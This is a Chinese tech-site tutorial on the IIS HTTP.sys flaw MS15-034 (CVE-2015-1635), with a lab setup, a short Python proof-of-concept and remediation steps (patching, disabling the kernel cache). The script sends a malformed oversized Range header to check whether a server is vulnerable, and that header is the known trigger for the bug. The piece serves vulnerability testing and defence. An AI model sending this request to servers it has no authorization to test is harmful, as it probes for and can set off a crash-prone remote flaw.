CVE-2015-1635(MS15-034 )远程代码执行漏洞poc(Python)验证和修复(cve2015-2808)

来源：恒创科技编辑：恒创科技编辑部

2024-02-11 19:53:59

一、测试环境

ip: 192.168.80.200

操作系统：win2012

中间件：IIS8.5

二、漏洞背景

漏洞详细参考如下信息：

https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

三、验证

import requests

Url = "http://192.168.80.200"

http_headers={

"Host":"irrelevant",

"Range":"bytes=0-18446744073709551615"

}

respone = requests.get(url = Url,headers = http_headers)

if str(respone.content).find("Requested Range Not Satisfiable") >= 0:

print("url: "+Url+" 存在MS15-034漏洞！")

else:

print("url: "+Url+" 未发现漏洞")

CVE-2015-1635(MS15-034 )远程代码执行漏洞poc(Python)验证和修复_python

四、防御措施

1.打补丁

https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2015/ms15-034

2.临时禁用IIS内核缓存

CVE-2015-1635(MS15-034 )远程代码执行漏洞poc(Python)验证和修复_测试环境_02

CVE-2015-1635(MS15-034 )远程代码执行漏洞poc(Python)验证和修复_测试环境_03

本文地址：https://www.henghost.com/jishu/22797/